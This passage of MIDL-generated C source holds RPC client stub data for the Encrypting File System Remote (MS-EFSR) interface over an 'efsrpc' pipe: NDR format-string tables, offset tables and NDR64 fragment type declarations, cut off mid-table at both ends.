*/\t0x28,\t\t/* Corr desc:  parameter, FC_LONG */\n\t\t\t0x0,\t\t/*  */\n/* 946 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 948 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 950 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 952 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 956 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 960 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 962 */\t\n\t\t\t0x11, 0x14,\t/* FC_RP [alloced_on_stack] [pointer_deref] */\n/* 964 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (966) */\n/* 966 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 968 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (970) */\n/* 970 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 972 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 974 */\t0x28,\t\t/* Corr desc:  parameter, FC_LONG */\n\t\t\t0x54,\t\t/* FC_DEREFERENCE */\n/* 976 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 978 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 980 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 982 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 986 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 990 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 992 */\t\n\t\t\t0x11, 0x14,\t/* FC_RP [alloced_on_stack] [pointer_deref] */\n/* 994 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (996) */\n/* 996 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 998 */\tNdrFcShort( 0x8a ),\t/* Offset= 138 (1136) */\n/* 1000 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1002 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1004 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1006 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1008 */\t\n\t\t\t0x1d,\t\t/* FC_SMFARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 1010 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1012 */\t0x1,\t\t/* FC_BYTE */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1014 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1016 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1018 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 1020 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1022 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfff1 ),\t/* Offset= -15 (1008) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1026 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 1028 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1030 */\t0x18,\t\t/* Corr desc:  field pointer, FC_LONG */\n\t\t\t0x0,\t\t/*  */\n/* 1032 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1034 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1036 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1038 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1042 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1046 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 1050 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 1052 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1054 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1058 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1062 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1064 */\tNdrFcShort( 0xffce ),\t/* Offset= -50 (1014) */\n/* 1066 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1068 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 1070 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 1072 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1074 */\tNdrFcShort( 0xc ),\t/* Offset= 12 (1086) */\n/* 1076 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1078 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0xb,\t\t/* FC_HYPER */\n/* 1080 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1082 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xffad ),\t/* Offset= -83 (1000) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1086 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1088 */\tNdrFcShort( 0xffc2 ),\t/* Offset= -62 (1026) */\n/* 1090 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1092 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1094 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 1096 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1098 */\t0x18,\t\t/* Corr desc:  field pointer, FC_LONG */\n\t\t\t0x0,\t\t/*  */\n/* 1100 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1102 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1104 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1106 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1110 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1114 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 1118 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 1120 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1122 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1126 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1130 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1132 */\tNdrFcShort( 0xffc0 ),\t/* Offset= -64 (1068) */\n/* 1134 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1136 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1138 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1140 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1142 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (1148) */\n/* 1144 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1146 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1148 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1150 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (1094) */\n\n\t\t\t0x0\n        }\n    };\n\nstatic const MS2DEFSR_df1941c52Dfe892D4e792Dbf102D463657acf44d_MIDL_EXPR_FORMAT_STRING MS2DEFSR_df1941c52Dfe892D4e792Dbf102D463657acf44d__MIDL_ExprFormatString =\n    {\n        0,\n        {\n\t\t\t0x4,\t\t/* FC_EXPR_OPER */\n\t\t\t0xe,\t\t/* OP_PLUS */\n/*  2 */\t0x0,\t\t/*  */\n\t\t\t0x0,\t\t/* 0 */\n/*  4 */\t0x3,\t\t/* FC_EXPR_VAR */\n\t\t\t0x8,\t\t/* FC_LONG */\n/*  6 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/*  8 */\t0x3,\t\t/* FC_EXPR_VAR */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 10 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t\t\t0x0\n        }\n    };\n\nstatic const unsigned short MS2DEFSR_df1941c52Dfe892D4e792Dbf102D463657acf44d__MIDL_ExprFormatStringOffsetTable[] =\n{\n0,\n};\n\nstatic const NDR_EXPR_DESC  MS2DEFSR_df1941c52Dfe892D4e792Dbf102D463657acf44d_ExprDesc = \n {\nMS2DEFSR_df1941c52Dfe892D4e792Dbf102D463657acf44d__MIDL_ExprFormatStringOffsetTable,\nMS2DEFSR_df1941c52Dfe892D4e792Dbf102D463657acf44d__MIDL_ExprFormatString.Format\n};\n\nstatic const unsigned short efsrpc_through_pipe_efsrpc_FormatStringOffsetTable[] =\n    {\n    0,\n    54,\n    104,\n    154,\n    192,\n    234,\n    282,\n    330,\n    378,\n    426,\n    474,\n    528,\n    600,\n    654,\n    726,\n    774,\n    834,\n    900,\n    942,\n    990,\n    1050,\n    1086,\n    1140,\n    1188,\n    1256,\n    1316,\n    1376,\n    1436,\n    1502,\n    1556,\n    1604,\n    1682,\n    1760,\n    1850,\n    1910,\n    1970,\n    2030,\n    2090,\n    2144,\n    2204,\n    2246,\n    2336,\n    2372,\n    2438,\n    2486,\n    2540,\n    2594\n    };\n\n\n\n#endif /* defined(_M_AMD64)*/\n\n\n\n/* this ALWAYS GENERATED file contains the RPC client stubs */\n\n\n /* File created by MIDL compiler version 8.01.0628 */\n/* at Mon Jan 18 19:14:07 2038\n */\n/* Compiler settings for MS-EFSR_df1941c5-fe89-4e79-bf10-463657acf44d.idl:\n    Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0628 \n    protocol : all , ms_ext, c_ext, robust\n    error checks: allocation ref bounds_check enum stub_data \n    VC __declspec() decoration level: \n         __declspec(uuid()), __declspec(selectany), __declspec(novtable)\n         DECLSPEC_UUID(), MIDL_INTERFACE()\n*/\n/* @@MIDL_FILE_HEADING(  ) */\n\n#if defined(_M_AMD64)\n\n\n\n\n#if !defined(__RPC_WIN64__)\n#error  Invalid build platform for this stub.\n#endif\n\n\n#include \"ndr64types.h\"\n#include \"pshpack8.h\"\n#ifdef __cplusplus\nnamespace {\n#endif\n\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag473_t;\nextern const __midl_frag473_t __midl_frag473;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag472_t;\nextern const __midl_frag472_t __midl_frag472;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag471_t;\nextern const __midl_frag471_t __midl_frag471;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n}\n__midl_frag470_t;\nextern const __midl_frag470_t __midl_frag470;\n\ntypedef \nstruct _NDR64_CONFORMANT_STRING_FORMAT\n__midl_frag469_t;\nextern const __midl_frag469_t __midl_frag469;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag468_t;\nextern const __midl_frag468_t __midl_frag468;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag467_t;\nextern const __midl_frag467_t __midl_frag467;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag466_t;\nextern const __midl_frag466_t __midl_frag466;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n    } frag2;\n}\n__midl_frag465_t;\nextern const __midl_frag465_t __midl_frag465;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_REPEAT_FORMAT frag1;\n        struct \n        {\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1;\n            struct _NDR64_POINTER_FORMAT frag2;\n        } frag2;\n        NDR64_FORMAT_CHAR frag3;\n    } frag2;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag3;\n}\n__midl_frag463_t;\nextern const __midl_frag463_t __midl_frag463;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag462_t;\nextern const __midl_frag462_t __midl_frag462;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag461_t;\nextern const __midl_frag461_t __midl_frag461;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag460_t;\nextern const __midl_frag460_t __midl_frag460;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag459_t;\nextern const __midl_frag459_t __midl_frag459;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag456_t;\nextern const __midl_frag456_t __midl_frag456;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag455_t;\nextern const __midl_frag455_t __midl_frag455;\n\ntypedef \nstruct _NDR64_CONFORMANT_STRING_FORMAT\n__midl_frag454_t;\nextern const __midl_frag454_t __midl_frag454;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag453_t;\nextern const __midl_frag453_t __midl_frag453;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag452_t;\nextern const __midl_frag452_t __midl_frag452;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag449_t;\nextern const __midl_frag449_t __midl_frag449;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag448_t;\nextern const __midl_frag448_t __midl_frag448;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag443_t;\nextern const __midl_frag443_t __midl_frag443;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag436_t;\nextern const __midl_frag436_t __midl_frag436;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag423_t;\nextern const __midl_frag423_t __midl_frag423;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n}\n__midl_frag421_t;\nextern const __midl_frag421_t __midl_frag421;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag418_t;\nextern const __midl_frag418_t __midl_frag418;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag417_t;\nextern const __midl_frag417_t __midl_frag417;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_OPERATOR frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag416_t;\nextern const __midl_frag416_t __midl_frag416;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag415_t;\nextern const __midl_frag415_t __midl_frag415;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag414_t;\nextern const __midl_frag414_t __midl_frag414;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag413_t;\nextern const __midl_frag413_t __midl_frag413;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag412_t;\nextern const __midl_frag412_t __midl_frag412;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag411_t;\nextern const __midl_frag411_t __midl_frag411;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag410_t;\nextern const __midl_frag410_t __midl_frag410;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag409_t;\nextern const __midl_frag409_t __midl_frag409;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag408_t;\nextern const __midl_frag408_t __midl_frag408;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag407_t;\nextern const __midl_frag407_t __midl_frag407;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag406_t;\nextern const __midl_frag406_t __midl_frag406;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag405_t;\nextern const __midl_frag405_t __midl_frag405;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag404_t;\nextern const __midl_frag404_t __midl_frag404;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag403_t;\nextern const __midl_frag403_t __midl_frag403;\n\ntypedef \nstruct _NDR64_CONFORMANT_STRING_FORMAT\n__midl_frag402_t;\nextern const __midl_frag402_t __midl_frag402;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag401_t;\nextern const __midl_frag401_t __midl_frag401;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag398_t;\nextern const __midl_frag398_t __midl_frag398;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n    struct _NDR64_PARAM_FORMAT frag11;\n    struct _NDR64_PARAM_FORMAT frag12;\n}\n__midl_frag397_t;\nextern const __midl_frag397_t __midl_frag397;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag395_t;\nextern const __midl_frag395_t __midl_frag395;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag394_t;\nextern const __midl_frag394_t __midl_frag394;\n\ntypedef \nstruct _NDR64_CONFORMANT_STRING_FORMAT\n__midl_frag392_t;\nextern const __midl_frag392_t __midl_frag392;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag391_t;\nextern const __midl_frag391_t __midl_frag391;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag389_t;\nextern const __midl_frag389_t __midl_frag389;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag386_t;\nextern const __midl_frag386_t __midl_frag386;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag385_t;\nextern const __midl_frag385_t __midl_frag385;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag384_t;\nextern const __midl_frag384_t __midl_frag384;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag382_t;\nextern const __midl_frag382_t __midl_frag382;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag379_t;\nextern const __midl_frag379_t __midl_frag379;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag378_t;\nextern const __midl_frag378_t __midl_frag378;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag375_t;\nextern const __midl_frag375_t __midl_frag375;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag369_t;\nextern const __midl_frag369_t __midl_frag369;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag366_t;\nextern const __midl_frag366_t __midl_frag366;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag361_t;\nextern const __midl_frag361_t __midl_frag361;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag356_t;\nextern const __midl_frag356_t __midl_frag356;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag351_t;\nextern const __midl_frag351_t __midl_frag351;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag348_t;\nextern const __midl_frag348_t __midl_frag348;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag341_t;\nextern const __midl_frag341_t __midl_frag341;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag338_t;\nextern const __midl_frag338_t __midl_frag338;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n    struct _NDR64_PARAM_FORMAT frag11;\n    struct _NDR64_PARAM_FORMAT frag12;\n}\n__midl_frag321_t;\nextern const __midl_frag321_t __midl_frag321;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_OPERATOR frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag316_t;\nextern const __midl_frag316_t __midl_frag316;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag315_t;\nextern const __midl_frag315_t __midl_frag315;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag314_t;\nextern const __midl_frag314_t __midl_frag314;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag313_t;\nextern const __midl_frag313_t __midl_frag313;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag309_t;\nextern const __midl_frag309_t __midl_frag309;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag308_t;\nextern const __midl_frag308_t __midl_frag308;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag305_t;\nextern const __midl_frag305_t __midl_frag305;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag304_t;\nextern const __midl_frag304_t __midl_frag304;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag303_t;\nextern const __midl_frag303_t __midl_frag303;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n}\n__midl_frag300_t;\nextern const __midl_frag300_t __midl_frag300;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag294_t;\nextern const __midl_frag294_t __midl_frag294;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag293_t;\nextern const __midl_frag293_t __midl_frag293;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag292_t;\nextern const __midl_frag292_t __midl_frag292;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_OPERATOR frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag288_t;\nextern const __midl_frag288_t __midl_frag288;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO 